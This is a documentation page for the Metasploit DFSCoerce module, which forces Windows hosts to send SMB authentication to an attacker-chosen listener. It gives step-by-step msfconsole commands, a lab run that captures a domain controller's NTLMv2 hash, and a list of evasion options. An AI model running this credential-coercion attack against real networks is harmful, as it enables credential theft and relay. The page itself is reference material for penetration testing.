DFSCoerce - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/dcerpc/dfscoerce metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: DFSCoerce
Module: auxiliary/scanner/dcerpc/dfscoerce
Source code: modules/auxiliary/scanner/dcerpc/dfscoerce.rb
Disclosure date: -
Last modification time: 2022-06-30 17:38:30 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: -
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/dcerpc/dfscoerce
msf auxiliary(dfscoerce) > show options
... show and set options ...
msf auxiliary(dfscoerce) > set RHOSTS ip-range
msf auxiliary(dfscoerce) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(dfscoerce) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(dfscoerce) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(dfscoerce) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
Knowledge Base
Vulnerable Application
Coerce an authentication attempt over SMB to other machines via MS-DFSNM methods.
Verification Steps
Example steps in this format (is also in the PR):
- Install the application
- Start msfconsole
- Do:
use auxiliary/scanner/dcerpc/dfscoerce
- Set the
RHOSTS
andLISTENER
options - Set the
SMBUser
,SMBPass
for authentication - (Optional) Set the
METHOD
options to adjust the trigger vector - Do:
run
Options
LISTENER
The host listening for the incoming connection. The target will authenticate to this host using SMB. The listener host should be hosting some kind of capture or relaying service.
METHOD
The RPC method to use for triggering.
Scenarios
Windows Server 2019
In this case, Metasploit is hosting an SMB capture server to log the incoming credentials from the target machine account. The target is a 64-bit Windows Server 2019 domain controller.
msf6 > use auxiliary/server/capture/smb
msf6 auxiliary(server/capture/smb) > run
[*] Auxiliary module running as background job 0.
msf6 auxiliary(server/capture/smb) >
[*] Server is running. Listening on 0.0.0.0:445
[*] Server started.
msf6 auxiliary(server/capture/smb) > use auxiliary/scanner/dcerpc/dfscoerce
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set VERBOSE true
VERBOSE => true
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBUser aliddle
SMBUser => aliddle
msf6 auxiliary(scanner/dcerpc/dfscoerce) > set SMBPass Password1
SMBPass => Password1
msf6 auxiliary(scanner/dcerpc/dfscoerce) > run
[*] 192.168.159.96:445 - Connecting to Distributed File System (DFS) Namespace Management Protocol
[*] 192.168.159.96:445 - Binding to \netdfs...
[+] 192.168.159.96:445 - Bound to \netdfs
[+] Received SMB connection on Auth Capture Server!
[SMB] NTLMv2-SSP Client : 192.168.250.237
[SMB] NTLMv2-SSP Username : MSFLAB\WIN-3MSP8K2LCGC$
[SMB] NTLMv2-SSP Hash : WIN-3MSP8K2LCGC$::MSFLAB:971293df35be0d1c:804d2d329912e92a442698d0c6c94f08:01010000000000000088afa3c78cd801bc3c7ed684c95125000000000200120057004f0052004b00470052004f00550050000100120057004f0052004b00470052004f00550050000400120057004f0052004b00470052004f00550050000300120057004f0052004b00470052004f0055005000070008000088afa3c78cd80106000400020000000800300030000000000000000000000000400000f0ba0ee40cb1f6efed7ad8606610712042fbfffb837f66d85a2dfc3aa03019b00a001000000000000000000000000000000000000900280063006900660073002f003100390032002e003100360038002e003200350030002e003100330034000000000000000000
[+] 192.168.159.96:445 - Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
[*] 192.168.159.96:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/dcerpc/dfscoerce) >
Go back to menu.
Msfconsole Usage
Here is how the scanner/dcerpc/dfscoerce auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/dcerpc/dfscoerce
msf6 auxiliary(scanner/dcerpc/dfscoerce) > show info
Name: DFSCoerce
Module: auxiliary/scanner/dcerpc/dfscoerce
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Wh04m1001
xct_de
Spencer McIntyre
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
LISTENER 192.168.0.126 yes The host listening for the incoming connection
METHOD Automatic yes The RPC method to use for triggering (Accepted: Automatic, NetrDfsAddStdRoot, NetrDfsRemoveStdRoot)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
Description:
Coerce an authentication attempt over SMB to other machines via
MS-DFSNM methods.
References:
https://github.com/Wh04m1001/DFSCoerce
Module Options
This is a complete list of options available in the scanner/dcerpc/dfscoerce auxiliary module:
msf6 auxiliary(scanner/dcerpc/dfscoerce) > show options
Module options (auxiliary/scanner/dcerpc/dfscoerce):
Name Current Setting Required Description
---- --------------- -------- -----------
LISTENER 192.168.0.126 yes The host listening for the incoming connection
METHOD Automatic yes The RPC method to use for triggering (Accepted: Automatic, NetrDfsAddStdRoot, NetrDfsRemoveStdRoot)
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)
Advanced Options
Here is a complete list of advanced options supported by the scanner/dcerpc/dfscoerce auxiliary module:
msf6 auxiliary(scanner/dcerpc/dfscoerce) > show advanced
Module advanced options (auxiliary/scanner/dcerpc/dfscoerce):
Name Current Setting Required Description
---- --------------- -------- -----------
CHOST no The local client address
CPORT no The local client port
ConnectTimeout 10 yes Maximum number of seconds to establish a TCP connection
DCERPC::ReadTimeout 10 yes The number of seconds to wait for DCERPC responses
NTLM::SendLM true yes Always send the LANMAN response (except when NTLMv2_session is specified)
NTLM::SendNTLM true yes Activate the 'Negotiate NTLM key' flag, indicating the use of NTLM responses
NTLM::SendSPN true yes Send an avp of type SPN in the ntlmv2 client blob, this allows authentication on Windows 7+/Server 2008 R2+
when SPN is required
NTLM::UseLMKey false yes Activate the 'Negotiate Lan Manager Key' flag, using the LM key when the LM response is sent
NTLM::UseNTLM2_session true yes Activate the 'Negotiate NTLM2 key' flag, forcing the use of a NTLMv2_session
NTLM::UseNTLMv2 true yes Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key is true
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
SMB::AlwaysEncrypt true yes Enforces encryption even if the server does not require it (SMB3.x only). Note that when it is set to false,
the SMB client will still encrypt the communication if the server requires it
SMB::ChunkSize 500 yes The chunk size for SMB segments, bigger values will increase speed but break NT 4.0 and SMB signing
SMB::Native_LM Windows 2000 5.0 yes The Native LM to send during authentication
SMB::Native_OS Windows 2000 2195 yes The Native OS to send during authentication
SMB::ProtocolVersion 1,2,3 yes One or a list of coma-separated SMB protocol versions to negotiate (e.g. "1" or "1,2" or "2,3,1")
SMB::VerifySignature false yes Enforces client-side verification of server response signatures
SMBDirect true no The target port is a raw SMB service (not NetBIOS)
SMBName *SMBSERVER yes The NetBIOS hostname (required for port 139 connections)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCipher no String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
SSLServerNameIndication no SSL/TLS Server Name Indication (SNI)
SSLVerifyMode PEER no SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL
23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/dcerpc/dfscoerce module can do:
msf6 auxiliary(scanner/dcerpc/dfscoerce) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/dcerpc/dfscoerce auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/dcerpc/dfscoerce) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
DCERPC::fake_bind_multi true no Use multi-context bind calls
DCERPC::fake_bind_multi_append 0 no Set the number of UUIDs to append the target
DCERPC::fake_bind_multi_prepend 0 no Set the number of UUIDs to prepend before the target
DCERPC::max_frag_size 4096 yes Set the DCERPC packet fragmentation size
DCERPC::smb_pipeio rw no Use a different delivery method for accessing named pipes (Accepted: rw, trans)
SMB::obscure_trans_pipe_level 0 yes Obscure PIPE string in TransNamedPipe (level 0-3)
SMB::pad_data_level 0 yes Place extra padding between headers and data (level 0-3)
SMB::pad_file_level 0 yes Obscure path names used in open/create (level 0-3)
SMB::pipe_evasion false yes Enable segmented read/writes for SMB Pipes
SMB::pipe_read_max_size 1024 yes Maximum buffer size for pipe reads
SMB::pipe_read_min_size 1 yes Minimum buffer size for pipe reads
SMB::pipe_write_max_size 1024 yes Maximum buffer size for pipe writes
SMB::pipe_write_min_size 1 yes Minimum buffer size for pipe writes
TCP::max_send_size 0 no Maxiumum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
- Unable to authenticate ([<E.CLASS>] <E>).
- Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>).
- Connection failed (STATUS_ACCESS_DENIED)
- Connection failed (<E.STATUS_CODE.NAME>)
- Connection failed (DCERPC fault: <E.STATUS_NAME>)
- Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
- Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Unable to authenticate ([<E.CLASS>] <E>).
Here is a relevant code snippet related to the "Unable to authenticate ([<E.CLASS>] <E>)." error message:
60: end
61:
62: begin
63: smb_login
64: rescue Rex::Proto::SMB::Exceptions::Error, RubySMB::Error::RubySMBError => e
65: fail_with(Failure::NoAccess, "Unable to authenticate ([#{e.class}] #{e}).")
66: end
67:
68: begin
69: @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
70: rescue RubySMB::Error::RubySMBError => e
Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>).
Here is a relevant code snippet related to the "Unable to connect to the remote IPC$ share ([<E.CLASS>] <E>)." error message:
66: end
67:
68: begin
69: @tree = simple.client.tree_connect("\\\\#{sock.peerhost}\\IPC$")
70: rescue RubySMB::Error::RubySMBError => e
71: fail_with(Failure::Unreachable, "Unable to connect to the remote IPC$ share ([#{e.class}] #{e}).")
72: end
73:
74: begin
75: dfsnm = connect_dfsnm
76: rescue RubySMB::Error::UnexpectedStatusCode => e
Connection failed (STATUS_ACCESS_DENIED)
Here is a relevant code snippet related to the "Connection failed (STATUS_ACCESS_DENIED)" error message:
73:
74: begin
75: dfsnm = connect_dfsnm
76: rescue RubySMB::Error::UnexpectedStatusCode => e
77: if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
78: fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
79: end
80:
81: fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82: rescue RubySMB::Dcerpc::Error::FaultError => e
83: elog(e.message, error: e)
Connection failed (<E.STATUS_CODE.NAME>)
Here is a relevant code snippet related to the "Connection failed (<E.STATUS_CODE.NAME>)" error message:
76: rescue RubySMB::Error::UnexpectedStatusCode => e
77: if e.status_code == ::WindowsError::NTStatus::STATUS_ACCESS_DENIED
78: fail_with(Failure::NoAccess, 'Connection failed (STATUS_ACCESS_DENIED)')
79: end
80:
81: fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82: rescue RubySMB::Dcerpc::Error::FaultError => e
83: elog(e.message, error: e)
84: fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
85: end
86:
Connection failed (DCERPC fault: <E.STATUS_NAME>)
Here is a relevant code snippet related to the "Connection failed (DCERPC fault: <E.STATUS_NAME>)" error message:
79: end
80:
81: fail_with(Failure::UnexpectedReply, "Connection failed (#{e.status_code.name})")
82: rescue RubySMB::Dcerpc::Error::FaultError => e
83: elog(e.message, error: e)
84: fail_with(Failure::UnexpectedReply, "Connection failed (DCERPC fault: #{e.status_name})")
85: end
86:
87: begin
88: case datastore['METHOD']
89: when 'NetrDfsAddStdRoot'
Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful
Here is a relevant code snippet related to the "Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful" error message:
94: end
95: rescue RubySMB::Dcerpc::Error::DfsnmError => e
96: case e.status_code
97: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
98: # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
99: print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
100: when ::WindowsError::Win32::ERROR_BAD_NETPATH
101: # this should be the response even if LISTENER was inaccessible
102: print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
103: else
104: print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful
Here is a relevant code snippet related to the "Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful" error message:
97: when ::WindowsError::Win32::ERROR_ACCESS_DENIED
98: # this should be the response even if LISTENER captured the credentials (MSF, Responder, etc.)
99: print_good('Server responded with ERROR_ACCESS_DENIED which indicates that the attack was successful')
100: when ::WindowsError::Win32::ERROR_BAD_NETPATH
101: # this should be the response even if LISTENER was inaccessible
102: print_good('Server responded with ERROR_BAD_NETPATH which indicates that the attack was successful')
103: else
104: print_status("Server responded with #{e.status_code.name} (#{e.status_code.description})")
105: end
106: end
107: end
Go back to menu.
Related Pull Requests
References
See Also
Check also the following modules related to this module:
- auxiliary/scanner/dcerpc/endpoint_mapper
- auxiliary/scanner/dcerpc/hidden
- auxiliary/scanner/dcerpc/management
- auxiliary/scanner/dcerpc/petitpotam
- auxiliary/scanner/dcerpc/tcp_dcerpc_auditor
- auxiliary/scanner/dcerpc/windows_deployment_services
- auxiliary/admin/dcerpc/cve_2020_1472_zerologon
- auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
- auxiliary/admin/dcerpc/icpr_cert
- auxiliary/admin/dcerpc/samr_computer
- exploit/windows/dcerpc/cve_2021_1675_printnightmare
- exploit/windows/dcerpc/ms03_026_dcom
- exploit/windows/dcerpc/ms05_017_msmq
- exploit/windows/dcerpc/ms07_029_msdns_zonename
- exploit/windows/dcerpc/ms07_065_msmq
- auxiliary/scanner/smb/pipe_dcerpc_auditor
Authors
- Wh04m1001
- xct_de
- Spencer McIntyre
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.